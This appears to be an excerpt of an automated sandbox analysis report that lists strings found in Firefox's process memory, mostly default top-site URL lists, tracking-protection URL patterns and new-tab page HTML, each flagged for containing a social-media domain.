Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?get FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools.debugger.remote-websocketdevtools.performance.recording.ui-base-url@mozilla.org/network/protocol;1?name=default^([a-z+.-]+:\/{0,3})([^\/@]+@).+get FIXUP_FLAG_FORCE_ALTERNATE_URIFailed to listen. Callback argument missing.devtools.performance.popup.feature-flagDevToolsStartup.jsm:handleDebuggerFlag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON data@mozilla.org/network/protocol;1?name=fileDevTools telemetry entry point failed: browser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoaderWebChannel/this._originCheckCallbackdevtools/client/framework/devtools@mozilla.org/dom/slow-script-debug;1Unable to start devtools server on resource://devtools/server/devtools-server.jsNo callback set for this channel.@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_wordsdevtools/client/framework/devtools-browser^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)Failed to listen. Listener already attached.Failed to execute WebChannel callback:resource://devtools/shared/security/socket.jsJSON Viewer's onSave failed in startPersistencebrowser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPhttp://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}Scheme should be either http or httpsresource://gre/modules/JSONFile.sys.mjs@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/ExtHandlerService.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/FileUtils.sys.mjs@mozilla.org/uriloader/local-handler-app;1_finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjs@mozilla.org/network/file-input-stream;1{33d75835-722f-42c0-89cc-44f328e56a86}https://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1extractScheme/fixupChangedProtocol<isDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sCan't invoke URIFixup in the content processhttps://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1gecko.handlerService.defaultHandlersVersionhttp://www.inbox.lv/rfc2368/?value=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1First argument should be an nsIInputStreamhttps://mail.yandex.ru/compose?mailto=%s@mozilla.org/network/simple-stream-listener;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandlingnewChannel req
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB0003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB0003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
